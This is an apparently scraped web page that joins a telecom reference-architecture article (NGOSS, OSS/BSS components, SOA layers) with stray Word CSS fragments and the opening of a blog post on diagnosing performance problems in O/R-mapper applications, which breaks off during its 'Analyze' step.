of help. The collaborative efforts of telcos to overcome some of these problems have resulted in bodies like the TM Forum. They have come up with frameworks for business processes, data, applications, and technology for telecom service providers. These could be a good starting point for telcos to clean up their enterprise landscape.   Industry Trends in Telecom Reference Architecture   Telecom reference architectures are evolving rapidly because telcos are facing business and IT challenges.   “The reality is that there probably is no killer application, no silver bullet that the telcos can latch onto to carry them into a 21st Century.... Instead, there are probably hundreds – perhaps thousands – of niche applications.... And the only way to find which of these works for you is to try out lots of them, ramp up the ones that work, and discontinue the ones that fail.” – Martin Creaner President & CTO TM Forum.   The following trends have been observed in telecom reference architecture:   ·       Transformation of business structures to align with customer requirements ·       Adoption of more Internet-like technical architectures. The Web 2.0 concept is increasingly being used. ·       Virtualization of the traditional operations support system (OSS) ·       Adoption of SOA to support development of IP-based services ·       Adoption of frameworks like Service Delivery Platforms (SDPs) and IP Multimedia Subsystem ·       (IMS) to enable seamless deployment of various services over fixed and mobile networks ·       Replacement of in-house, customized, and stove-piped OSS/BSS with standards-based COTS products ·       Compliance with industry standards and frameworks like eTOM, SID, and TAM to enable seamless integration with other standards-based products   Drivers of Reference Architecture   The drivers of the Reference Architecture are Reference Architecture Goals, Principles, and Enterprise Vision and Telecom Transformation. The details are depicted below diagram. @font-face { font-family: "Cambria"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0cm 0cm 0.0001pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoCaption, li.MsoCaption, div.MsoCaption { margin: 0cm 0cm 10pt; font-size: 9pt; font-family: "Times New Roman"; color: rgb(79, 129, 189); font-weight: bold; }div.Section1 { page: Section1; } Figure 1. Drivers for Reference Architecture @font-face { font-family: "Arial"; }@font-face { font-family: "Courier New"; }@font-face { font-family: "Wingdings"; }@font-face { font-family: "Cambria"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0cm 0cm 0.0001pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }ol { margin-bottom: 0cm; }ul { margin-bottom: 0cm; } Today’s telecom reference architectures should seamlessly integrate traditional legacy-based applications and transition to next-generation network technologies (e.g., IP multimedia subsystems). This has resulted in new requirements for flexible, real-time billing and OSS/BSS systems and implications on the service provider’s organizational requirements and structure.   Telecom reference architectures are today expected to:   ·       Integrate voice, messaging, email and other VAS over fixed and mobile networks, back end systems ·       Be able to provision multiple services and service bundles • Deliver converged voice, video and data services ·       Leverage the existing Network Infrastructure ·       Provide real-time, flexible billing and charging systems to handle complex promotions, discounts, and settlements with multiple parties. ·       Support charging of advanced data services such as VoIP, On-Demand, Services (e.g.  Video), IMS/SIP Services, Mobile Money, Content Services and IPTV. ·       Help in faster deployment of new services • Serve as an effective platform for collaboration between network IT and business organizations ·       Harness the potential of converging technology, networks, devices and content to develop multimedia services and solutions of ever-increasing sophistication on a single Internet Protocol (IP) ·       Ensure better service delivery and zero revenue leakage through real-time balance and credit management ·       Lower operating costs to drive profitability   Enterprise Reference Architecture   The Enterprise Reference Architecture (RA) fills the gap between the concepts and vocabulary defined by the reference model and the implementation. Reference architecture provides detailed architectural information in a common format such that solutions can be repeatedly designed and deployed in a consistent, high-quality, supportable fashion. This paper attempts to describe the Reference Architecture for the Telecom Application Usage and how to achieve the Enterprise Level Reference Architecture using SOA.   • Telecom Reference Architecture • Enterprise SOA based Reference Architecture   Telecom Reference Architecture   Tele Management Forum’s New Generation Operations Systems and Software (NGOSS) is an architectural framework for organizing, integrating, and implementing telecom systems. NGOSS is a component-based framework consisting of the following elements:   ·       The enhanced Telecom Operations Map (eTOM) is a business process framework. ·       The Shared Information Data (SID) model provides a comprehensive information framework that may be specialized for the needs of a particular organization. ·       The Telecom Application Map (TAM) is an application framework to depict the functional footprint of applications, relative to the horizontal processes within eTOM. ·       The Technology Neutral Architecture (TNA) is an integrated framework. TNA is an architecture that is sustainable through technology changes.   NGOSS Architecture Standards are:   ·       Centralized data ·       Loosely coupled distributed systems ·       Application components/re-use  ·       A technology-neutral system framework with technology specific implementations ·       Interoperability to service provider data/processes ·       Allows more re-use of business components across multiple business scenarios ·       Workflow automation   The traditional operator systems architecture consists of four layers,   ·       Business Support System (BSS) layer, with focus toward customers and business partners. Manages order, subscriber, pricing, rating, and billing information. ·       Operations Support System (OSS) layer, built around product, service, and resource inventories. ·       Networks layer – consists of Network elements and 3rd Party Systems. ·       Integration Layer – to maximize application communication and overall solution flexibility.   Reference architecture for telecom enterprises is depicted below. @font-face { font-family: "Arial"; }@font-face { font-family: "Courier New"; }@font-face { font-family: "Wingdings"; }@font-face { font-family: "Cambria"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0cm 0cm 0.0001pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoCaption, li.MsoCaption, div.MsoCaption { margin: 0cm 0cm 10pt; font-size: 9pt; font-family: "Times New Roman"; color: rgb(79, 129, 189); font-weight: bold; }p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }ol { margin-bottom: 0cm; }ul { margin-bottom: 0cm; } Figure 2. Telecom Reference Architecture   The major building blocks of any Telecom Service Provider architecture are as follows:   1. Customer Relationship Management   CRM encompasses the end-to-end lifecycle of the customer: customer initiation/acquisition, sales, ordering, and service activation, customer care and support, proactive campaigns, cross sell/up sell, and retention/loyalty.   CRM also includes the collection of customer information and its application to personalize, customize, and integrate delivery of service to a customer, as well as to identify opportunities for increasing the value of the customer to the enterprise.   The key functionalities related to Customer Relationship Management are   ·       Manage the end-to-end lifecycle of a customer request for products. ·       Create and manage customer profiles. ·       Manage all interactions with customers – inquiries, requests, and responses. ·       Provide updates to Billing and other south bound systems on customer/account related updates such as customer/ account creation, deletion, modification, request bills, final bill, duplicate bills, credit limits through Middleware. ·       Work with Order Management System, Product, and Service Management components within CRM. ·       Manage customer preferences – Involve all the touch points and channels to the customer, including contact center, retail stores, dealers, self service, and field service, as well as via any media (phone, face to face, web, mobile device, chat, email, SMS, mail, the customer's bill, etc.). ·       Support single interface for customer contact details, preferences, account details, offers, customer premise equipment, bill details, bill cycle details, and customer interactions.   CRM applications interact with customers through customer touch points like portals, point-of-sale terminals, interactive voice response systems, etc. The requests by customers are sent via fulfillment/provisioning to billing system for ordering processing.   2. Billing and Revenue Management   Billing and Revenue Management handles the collection of appropriate usage records and production of timely and accurate bills – for providing pre-bill usage information and billing to customers; for processing their payments; and for performing payment collections. In addition, it handles customer inquiries about bills, provides billing inquiry status, and is responsible for resolving billing problems to the customer's satisfaction in a timely manner. This process grouping also supports prepayment for services.   The key functionalities provided by these applications are   ·       To ensure that enterprise revenue is billed and invoices delivered appropriately to customers. ·       To manage customers’ billing accounts, process their payments, perform payment collections, and monitor the status of the account balance. ·       To ensure the timely and effective fulfillment of all customer bill inquiries and complaints. ·       Collect the usage records from mediation and ensure appropriate rating and discounting of all usage and pricing. ·       Support revenue sharing; split charging where usage is guided to an account different from the service consumer. ·       Support prepaid and post-paid rating. ·       Send notification on approach / exceeding the usage thresholds as enforced by the subscribed offer, and / or as setup by the customer. ·       Support prepaid, post paid, and hybrid (where some services are prepaid and the rest of the services post paid) customers and conversion from post paid to prepaid, and vice versa. ·       Support different billing function requirements like charge prorating, promotion, discount, adjustment, waiver, write-off, account receivable, GL Interface, late payment fee, credit control, dunning, account or service suspension, re-activation, expiry, termination, contract violation penalty, etc. ·       Initiate direct debit to collect payment against an invoice outstanding. ·       Send notification to Middleware on different events; for example, payment receipt, pre-suspension, threshold exceed, etc.   Billing systems typically get usage data from mediation systems for rating and billing. They get provisioning requests from order management systems and inquiries from CRM systems. Convergent and real-time billing systems can directly get usage details from network elements.   3. Mediation   Mediation systems transform/translate the Raw or Native Usage Data Records into a general format that is acceptable to billing for their rating purposes.   The following lists the high-level roles and responsibilities executed by the Mediation system in the end-to-end solution.   ·       Collect Usage Data Records from different data sources – like network elements, routers, servers – via different protocol and interfaces. ·       Process Usage Data Records – Mediation will process Usage Data Records as per the source format. ·       Validate Usage Data Records from each source. ·       Segregates Usage Data Records coming from each source to multiple, based on the segregation requirement of end Application. ·       Aggregates Usage Data Records based on the aggregation rule if any from different sources. ·       Consolidates multiple Usage Data Records from each source. ·       Delivers formatted Usage Data Records to different end application like Billing, Interconnect, Fraud Management, etc. ·       Generates audit trail for incoming Usage Data Records and keeps track of all the Usage Data Records at various stages of mediation process. ·       Checks duplicate Usage Data Records across files for a given time window.   4. Fulfillment   This area is responsible for providing customers with their requested products in a timely and correct manner. It translates the customer's business or personal need into a solution that can be delivered using the specific products in the enterprise's portfolio. This process informs the customers of the status of their purchase order, and ensures completion on time, as well as ensuring a delighted customer. These processes are responsible for accepting and issuing orders. They deal with pre-order feasibility determination, credit authorization, order issuance, order status and tracking, customer update on customer order activities, and customer notification on order completion. Order management and provisioning applications fall into this category.   The key functionalities provided by these applications are   ·       Issuing new customer orders, modifying open customer orders, or canceling open customer orders; ·       Verifying whether specific non-standard offerings sought by customers are feasible and supportable; ·       Checking the credit worthiness of customers as part of the customer order process; ·       Testing the completed offering to ensure it is working correctly; ·       Updating of the Customer Inventory Database to reflect that the specific product offering has been allocated, modified, or cancelled; ·       Assigning and tracking customer provisioning activities; ·       Managing customer provisioning jeopardy conditions; and ·       Reporting progress on customer orders and other processes to customer.   These applications typically get orders from CRM systems. They interact with network elements and billing systems for fulfillment of orders.   5. Enterprise Management   This process area includes those processes that manage enterprise-wide activities and needs, or have application within the enterprise as a whole. They encompass all business management processes that   ·       Are necessary to support the whole of the enterprise, including processes for financial management, legal management, regulatory management, process, cost, and quality management, etc.;   ·       Are responsible for setting corporate policies, strategies, and directions, and for providing guidelines and targets for the whole of the business, including strategy development and planning for areas, such as Enterprise Architecture, that are integral to the direction and development of the business;   ·       Occur throughout the enterprise, including processes for project management, performance assessments, cost assessments, etc.     (i) Enterprise Risk Management:   Enterprise Risk Management focuses on assuring that risks and threats to the enterprise value and/or reputation are identified, and appropriate controls are in place to minimize or eliminate the identified risks. The identified risks may be physical or logical/virtual. Successful risk management ensures that the enterprise can support its mission critical operations, processes, applications, and communications in the face of serious incidents such as security threats/violations and fraud attempts. Two key areas covered in Risk Management by telecom operators are:   ·       Revenue Assurance: Revenue assurance system will be responsible for identifying revenue loss scenarios across components/systems, and will help in rectifying the problems. The following lists the high-level roles and responsibilities executed by the Revenue Assurance system in the end-to-end solution. o   Identify all usage information dropped when networks are being upgraded. o   Interconnect bill verification. o   Identify where services are routinely provisioned but never billed. o   Identify poor sales policies that are intensifying collections problems. o   Find leakage where usage is sent to error bucket and never billed for. o   Find leakage where field service, CRM, and network build-out are not optimized.   ·       Fraud Management: Involves collecting data from different systems to identify abnormalities in traffic patterns, usage patterns, and subscription patterns to report suspicious activity that might suggest fraudulent usage of resources, resulting in revenue losses to the operator.   The key roles and responsibilities of the system component are as follows:   o   Fraud management system will capture and monitor high usage (over a certain threshold) in terms of duration, value, and number of calls for each subscriber. The threshold for each subscriber is decided by the system and fixed automatically. o   Fraud management will be able to detect the unauthorized access to services for certain subscribers. These subscribers may have been provided unauthorized services by employees. The component will raise the alert to the operator the very first time of such illegal calls or calls which are not billed. o   The solution will be to have an alarm management system that will deliver alarms to the operator/provider whenever it detects a fraud, thus minimizing fraud by catching it the first time it occurs. o   The Fraud Management system will be capable of interfacing with switches, mediation systems, and billing systems   (ii) Knowledge Management   This process focuses on knowledge management, technology research within the enterprise, and the evaluation of potential technology acquisitions.   Key responsibilities of knowledge base management are to   ·       Maintain knowledge base – Creation and updating of knowledge base on ongoing basis. ·       Search knowledge base – Search of knowledge base on keywords or category browse ·       Maintain metadata – Management of metadata on knowledge base to ensure effective management and search. ·       Run report generator. ·       Provide content – Add content to the knowledge base, e.g., user guides, operational manual, etc.   (iii) Document Management   It focuses on maintaining a repository of all electronic documents or images of paper documents relevant to the enterprise using a system.   (iv) Data Management   It manages data as a valuable resource for any enterprise. For telecom enterprises, the typical areas covered are Master Data Management, Data Warehousing, and Business Intelligence. It is also responsible for data governance, security, quality, and database management.   Key responsibilities of Data Management are   ·       Using ETL, extract the data from CRM, Billing, web content, ERP, campaign management, financial, network operations, asset management info, customer contact data, customer measures, benchmarks, process data, e.g., process inputs, outputs, and measures, into Enterprise Data Warehouse. ·       Management of data traceability with source, data related business rules/decisions, data quality, data cleansing data reconciliation, competitors data – storage for all the enterprise data (customer profiles, products, offers, revenues, etc.) ·       Get online update through night time replication or physical backup process at regular frequency. ·       Provide the data access to business intelligence and other systems for their analysis, report generation, and use.   (v) Business Intelligence   It uses the Enterprise Data to provide the various analysis and reports that contain prospects and analytics for customer retention, acquisition of new customers due to the offers, and SLAs. It will generate right and optimized plans – bolt-ons for the customers.   The following lists the high-level roles and responsibilities executed by the Business Intelligence system at the Enterprise Level:   ·       It will do Pattern analysis and reports problem. ·       It will do Data Analysis – Statistical analysis, data profiling, affinity analysis of data, customer segment wise usage patterns on offers, products, service and revenue generation against services and customer segments. ·       It will do Performance (business, system, and forecast) analysis, churn propensity, response time, and SLAs analysis. ·       It will support for online and offline analysis, and report drill down capability. ·       It will collect, store, and report various SLA data. ·       It will provide the necessary intelligence for marketing and working on campaigns, etc., with cost benefit analysis and predictions.   It will advise on customer promotions with additional services based on loyalty and credit history of customer   ·       It will Interface with Enterprise Data Management system for data to run reports and analysis tasks. It will interface with the campaign schedules, based on historical success evidence.   (vi) Stakeholder and External Relations Management   It manages the enterprise's relationship with stakeholders and outside entities. Stakeholders include shareholders, employee organizations, etc. Outside entities include regulators, local community, and unions. Some of the processes within this grouping are Shareholder Relations, External Affairs, Labor Relations, and Public Relations.   (vii) Enterprise Resource Planning   It is used to manage internal and external resources, including tangible assets, financial resources, materials, and human resources. Its purpose is to facilitate the flow of information between all business functions inside the boundaries of the enterprise and manage the connections to outside stakeholders. ERP systems consolidate all business operations into a uniform and enterprise wide system environment.   The key roles and responsibilities for Enterprise System are given below:   ·        It will handle responsibilities such as core accounting, financial, and management reporting. ·       It will interface with CRM for capturing customer account and details. ·       It will interface with billing to capture the billing revenue and other financial data. ·       It will be responsible for executing the dunning process. Billing will send the required feed to ERP for execution of dunning. ·       It will interface with the CRM and Billing through batch interfaces. Enterprise management systems are like horizontals in the enterprise and typically interact with all major telecom systems. E.g., an ERP system interacts with CRM, Fulfillment, and Billing systems for different kinds of data exchanges.   6. External Interfaces/Touch Points   The typical external parties are customers, suppliers/partners, employees, shareholders, and other stakeholders. External interactions from/to a Service Provider to other parties can be achieved by a variety of mechanisms, including:   ·       Exchange of emails or faxes ·       Call Centers ·       Web Portals ·       Business-to-Business (B2B) automated transactions   These applications provide an Internet technology driven interface to external parties to undertake a variety of business functions directly for themselves. These can provide fully or partially automated service to external parties through various touch points.   Typical characteristics of these touch points are   ·       Pre-integrated self-service system, including stand-alone web framework or integration front end with a portal engine ·       Self services layer exposing atomic web services/APIs for reuse by multiple systems across the architectural environment ·       Portlets driven connectivity exposing data and services interoperability through a portal engine or web application   These touch points mostly interact with the CRM systems for requests, inquiries, and responses.   7. Middleware   The component will be primarily responsible for integrating the different systems components under a common platform. It should provide a Standards-Based Platform for building Service Oriented Architecture and Composite Applications. The following lists the high-level roles and responsibilities executed by the Middleware component in the end-to-end solution.   ·       As an integration framework, covering to and fro interfaces ·       Provide a web service framework with service registry. ·       Support SOA framework with SOA service registry. ·       Each of the interfaces from / to Middleware to other components would handle data transformation, translation, and mapping of data points. ·       Receive data from the caller / activate and/or forward the data to the recipient system in XML format. ·       Use standard XML for data exchange. ·       Provide the response back to the service/call initiator. ·       Provide a tracking until the response completion. ·       Keep a store transitional data against each call/transaction. ·       Interface through Middleware to get any information that is possible and allowed from the existing systems to enterprise systems; e.g., customer profile and customer history, etc. ·       Provide the data in a common unified format to the SOA calls across systems, and follow the Enterprise Architecture directive. ·       Provide an audit trail for all transactions being handled by the component.   8. Network Elements   The term Network Element means a facility or equipment used in the provision of a telecommunications service. Such terms also includes features, functions, and capabilities that are provided by means of such facility or equipment, including subscriber numbers, databases, signaling systems, and information sufficient for billing and collection or used in the transmission, routing, or other provision of a telecommunications service.   Typical network elements in a GSM network are Home Location Register (HLR), Intelligent Network (IN), Mobile Switching Center (MSC), SMS Center (SMSC), and network elements for other value added services like Push-to-talk (PTT), Ring Back Tone (RBT), etc.   Network elements are invoked when subscribers use their telecom devices for any kind of usage. These elements generate usage data and pass it on to downstream systems like mediation and billing system for rating and billing. They also integrate with provisioning systems for order/service fulfillment.   9. 3rd Party Applications   3rd Party systems are applications like content providers, payment gateways, point of sale terminals, and databases/applications maintained by the Government.   Depending on applicability and the type of functionality provided by 3rd party applications, the integration with different telecom systems like CRM, provisioning, and billing will be done.   10. Service Delivery Platform   A service delivery platform (SDP) provides the architecture for the rapid deployment, provisioning, execution, management, and billing of value added telecom services. SDPs are based on the concept of SOA and layered architecture. They support the delivery of voice, data services, and content in network and device-independent fashion. They allow application developers to aggregate network capabilities, services, and sources of content. SDPs typically contain layers for web services exposure, service application development, and network abstraction.   SOA Reference Architecture   SOA concept is based on the principle of developing reusable business service and building applications by composing those services, instead of building monolithic applications in silos. It’s about bridging the gap between business and IT through a set of business-aligned IT services, using a set of design principles, patterns, and techniques.   In an SOA, resources are made available to participants in a value net, enterprise, line of business (typically spanning multiple applications within an enterprise or across multiple enterprises). It consists of a set of business-aligned IT services that collectively fulfill an organization’s business processes and goals. We can choreograph these services into composite applications and invoke them through standard protocols. SOA, apart from agility and reusability, enables:   ·       The business to specify processes as orchestrations of reusable services ·       Technology agnostic business design, with technology hidden behind service interface ·       A contractual-like interaction between business and IT, based on service SLAs ·       Accountability and governance, better aligned to business services ·       Applications interconnections untangling by allowing access only through service interfaces, reducing the daunting side effects of change ·       Reduced pressure to replace legacy and extended lifetime for legacy applications, through encapsulation in services   ·       A Cloud Computing paradigm, using web services technologies, that makes possible service outsourcing on an on-demand, utility-like, pay-per-usage basis   The following section represents the Reference Architecture of logical view for the Telecom Solution. The new custom built application needs to align with this logical architecture in the long run to achieve EA benefits.   Packaged implementation applications, such as ERP billing applications, need to expose their functions as service providers (as other applications consume) and interact with other applications as service consumers.   COT applications need to expose services through wrappers such as adapters to utilize existing resources and at the same time achieve Enterprise Architecture goal and objectives.   The following are the various layers for Enterprise level deployment of SOA. This diagram captures the abstract view of Enterprise SOA layers and important components of each layer. Layered architecture means decomposition of services such that most interactions occur between adjacent layers. However, there is no strict rule that top layers should not directly communicate with bottom layers.   The diagram below represents the important logical pieces that would result from overall SOA transformation. @font-face { font-family: "Arial"; }@font-face { font-family: "Courier New"; }@font-face { font-family: "Wingdings"; }@font-face { font-family: "Cambria"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0cm 0cm 0.0001pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoCaption, li.MsoCaption, div.MsoCaption { margin: 0cm 0cm 10pt; font-size: 9pt; font-family: "Times New Roman"; color: rgb(79, 129, 189); font-weight: bold; }p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast { margin: 0cm 0cm 0.0001pt 36pt; font-size: 12pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }ol { margin-bottom: 0cm; }ul { margin-bottom: 0cm; } Figure 3. Enterprise SOA Reference Architecture 1.          Operational System Layer: This layer consists of all packaged applications like CRM, ERP, custom built applications, COTS based applications like Billing, Revenue Management, Fulfilment, and the Enterprise databases that are essential and contribute directly or indirectly to the Enterprise OSS/BSS Transformation.   ERP holds the data of Asset Lifecycle Management, Supply Chain, and Advanced Procurement and Human Capital Management, etc.   CRM holds the data related to Order, Sales, and Marketing, Customer Care, Partner Relationship Management, Loyalty, etc.   Content Management handles Enterprise Search and Query. Billing application consists of the following components:   ·       Collections Management, Customer Billing Management, Invoices, Real-Time Rating, Discounting, and Applying of Charges ·       Enterprise databases will hold both the application and service data, whether structured or unstructured.   MDM - Master data majorly consists of Customer, Order, Product, and Service Data.     2.          Enterprise Component Layer:   This layer consists of the Application Services and Common Services that are responsible for realizing the functionality and maintaining the QoS of the exposed services. This layer uses container-based technologies such as application servers to implement the components, workload management, high availability, and load balancing.   Application Services: This Service Layer enables application, technology, and database abstraction so that the complex accessing logic is hidden from the other service layers. This is a basic service layer, which exposes application functionalities and data as reusable services. The three types of the Application access services are:   ·       Application Access Service: This Service Layer exposes application level functionalities as a reusable service between BSS to BSS and BSS to OSS integration. This layer is enabled using disparate technology such as Web Service, Integration Servers, and Adaptors, etc.   ·       Data Access Service: This Service Layer exposes application data services as a reusable reference data service. This is done via direct interaction with application data. and provides the federated query.   ·       Network Access Service: This Service Layer exposes provisioning layer as a reusable service from OSS to OSS integration. This integration service emphasizes the need for high performance, stateless process flows, and distributed design.   Common Services encompasses management of structured, semi-structured, and unstructured data such as information services, portal services, interaction services, infrastructure services, and security services, etc.   3.          Integration Layer:   This consists of service infrastructure components like service bus, service gateway for partner integration, service registry, service repository, and BPEL processor. Service bus will carry the service invocation payloads/messages between consumers and providers. The other important functions expected from it are itinerary based routing, distributed caching of routing information, transformations, and all qualities of service for messaging-like reliability, scalability, and availability, etc. Service registry will hold all contracts (wsdl) of services, and it helps developers to locate or discover service during design time or runtime.   • BPEL processor would be useful in orchestrating the services to compose a complex business scenario or process. • Workflow and business rules management are also required to support manual triggering of certain activities within business process. based on the rules setup and also the state machine information. Application, data, and service mediation layer typically forms the overall composite application development framework or SOA Framework.   4.          Business Process Layer: These are typically the intermediate services layer and represent Shared Business Process Services. At Enterprise Level, these services are from Customer Management, Order Management, Billing, Finance, and Asset Management application domains.   5.          Access Layer: This layer consists of portals for Enterprise and provides a single view of Enterprise information management and dashboard services.   6.          Channel Layer: This consists of various devices; applications that form part of extended enterprise; browsers through which users access the applications.   7.          Client Layer: This designates the different types of users accessing the enterprise applications. The type of user typically would be an important factor in determining the level of access to applications.   8.          Vertical pieces like management, monitoring, security, and development cut across all horizontal layers Management and monitoring involves all aspects of SOA-like services, SLAs, and other QoS lifecycle processes for both applications and services surrounding SOA governance.     9.          EA Governance, Reference Architecture, Roadmap, Principles, and Best Practices:   EA Governance is important in terms of providing the overall direction to SOA implementation within the enterprise. This involves board-level involvement, in addition to business and IT executives. At a high level, this involves managing the SOA projects implementation, managing SOA infrastructure, and controlling the entire effort through all fine-tuned IT processes in accordance with COBIT (Control Objectives for Information Technology).   Devising tools and techniques to promote reuse culture, and the SOA way of doing things needs competency centers to be established in addition to training the workforce to take up new roles that are suited to SOA journey.   Conclusions   Reference Architectures can serve as the basis for disparate architecture efforts throughout the organization, even if they use different tools and technologies. Reference architectures provide best practices and approaches in the independent way a vendor deals with technology and standards. Reference Architectures model the abstract architectural elements for an enterprise independent of the technologies, protocols, and products that are used to implement an SOA. Telecom enterprises today are facing significant business and technology challenges due to growing competition, a multitude of services, and convergence. Adopting architectural best practices could go a long way in meeting these challenges. The use of SOA-based architecture for communication to each of the external systems like Billing, CRM, etc., in OSS/BSS system has made the architecture very loosely coupled, with greater flexibility. Any change in the external systems would be absorbed at the Integration Layer without affecting the rest of the ecosystem. The use of a Business Process Management (BPM) tool makes the management and maintenance of the business processes easy, with better performance in terms of lead time, quality, and cost. Since the Architecture is based on standards, it will lower the cost of deploying and managing OSS/BSS applications over their lifecycles.

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• How to find and fix performance problems in ORM powered applications

  - by FransBouma

  Once in a while we get requests about how to fix performance problems with our framework. As it comes down to following the same steps and looking into the same things every single time, I decided to write a blogpost about it instead, so more people can learn from this and solve performance problems in their O/R mapper powered applications. In some parts it's focused on LLBLGen Pro but it's also usable for other O/R mapping frameworks, as the vast majority of performance problems in O/R mapper powered applications are not specific for a certain O/R mapper framework. Too often, the developer looks at the wrong part of the application, trying to fix what isn't a problem in that part, and getting frustrated that 'things are so slow with <insert your favorite framework X here>'. I'm in the O/R mapper business for a long time now (almost 10 years, full time) and as it's a small world, we O/R mapper developers know almost all tricks to pull off by now: we all know what to do to make task ABC faster and what compromises (because there are almost always compromises) to deal with if we decide to make ABC faster that way. Some O/R mapper frameworks are faster in X, others in Y, but you can be sure the difference is mainly a result of a compromise some developers are willing to deal with and others aren't. That's why the O/R mapper frameworks on the market today are different in many ways, even though they all fetch and save entities from and to a database. I'm not suggesting there's no room for improvement in today's O/R mapper frameworks, there always is, but it's not a matter of 'the slowness of the application is caused by the O/R mapper' anymore. Perhaps query generation can be optimized a bit here, row materialization can be optimized a bit there, but it's mainly coming down to milliseconds. Still worth it if you're a framework developer, but it's not much compared to the time spend inside databases and in user code: if a complete fetch takes 40ms or 50ms (from call to entity object collection), it won't make a difference for your application as that 10ms difference won't be noticed. That's why it's very important to find the real locations of the problems so developers can fix them properly and don't get frustrated because their quest to get a fast, performing application failed. Performance tuning basics and rules Finding and fixing performance problems in any application is a strict procedure with four prescribed steps: isolate, analyze, interpret and fix, in that order. It's key that you don't skip a step nor make assumptions: these steps help you find the reason of a problem which seems to be there, and how to fix it or leave it as-is. Skipping a step, or when you assume things will be bad/slow without doing analysis will lead to the path of premature optimization and won't actually solve your problems, only create new ones. The most important rule of finding and fixing performance problems in software is that you have to understand what 'performance problem' actually means. Most developers will say "when a piece of software / code is slow, you have a performance problem". But is that actually the case? If I write a Linq query which will aggregate, group and sort 5 million rows from several tables to produce a resultset of 10 rows, it might take more than a couple of milliseconds before that resultset is ready to be consumed by other logic. If I solely look at the Linq query, the code consuming the resultset of the 10 rows and then look at the time it takes to complete the whole procedure, it will appear to me to be slow: all that time taken to produce and consume 10 rows? But if you look closer, if you analyze and interpret the situation, you'll see it does a tremendous amount of work, and in that light it might even be extremely fast. With every performance problem you encounter, always do realize that what you're trying to solve is perhaps not a technical problem at all, but a perception problem. The second most important rule you have to understand is based on the old saying "Penny wise, Pound Foolish": the part which takes e.g. 5% of the total time T for a given task isn't worth optimizing if you have another part which takes a much larger part of the total time T for that same given task. Optimizing parts which are relatively insignificant for the total time taken is not going to bring you better results overall, even if you totally optimize that part away. This is the core reason why analysis of the complete set of application parts which participate in a given task is key to being successful in solving performance problems: No analysis -> no problem -> no solution. One warning up front: hunting for performance will always include making compromises. Fast software can be made maintainable, but if you want to squeeze as much performance out of your software, you will inevitably be faced with the dilemma of compromising one or more from the group {readability, maintainability, features} for the extra performance you think you'll gain. It's then up to you to decide whether it's worth it. In almost all cases it's not. The reason for this is simple: the vast majority of performance problems can be solved by implementing the proper algorithms, the ones with proven Big O-characteristics so you know the performance you'll get plus you know the algorithm will work. The time taken by the algorithm implementing code is inevitable: you already implemented the best algorithm. You might find some optimizations on the technical level but in general these are minor. Let's look at the four steps to see how they guide us through the quest to find and fix performance problems. Isolate The first thing you need to do is to isolate the areas in your application which are assumed to be slow. For example, if your application is a web application and a given page is taking several seconds or even minutes to load, it's a good candidate to check out. It's important to start with the isolate step because it allows you to focus on a single code path per area with a clear begin and end and ignore the rest. The rest of the steps are taken per identified problematic area. Keep in mind that isolation focuses on tasks in an application, not code snippets. A task is something that's started in your application by either another task or the user, or another program, and has a beginning and an end. You can see a task as a piece of functionality offered by your application.  Analyze Once you've determined the problem areas, you have to perform analysis on the code paths of each area, to see where the performance problems occur and which areas are not the problem. This is a multi-layered effort: an application which uses an O/R mapper typically consists of multiple parts: there's likely some kind of interface (web, webservice, windows etc.), a part which controls the interface and business logic, the O/R mapper part and the RDBMS, all connected with either a network or inter-process connections provided by the OS or other means. Each of these parts, including the connectivity plumbing, eat up a part of the total time it takes to complete a task, e.g. load a webpage with all orders of a given customer X. To understand which parts participate in the task / area we're investigating and how much they contribute to the total time taken to complete the task, analysis of each participating task is essential. Start with the code you wrote which starts the task, analyze the code and track the path it follows through your application. What does the code do along the way, verify whether it's correct or not. Analyze whether you have implemented the right algorithms in your code for this particular area. Remember we're looking at one area at a time, which means we're ignoring all other code paths, just the code path of the current problematic area, from begin to end and back. Don't dig in and start optimizing at the code level just yet. We're just analyzing. 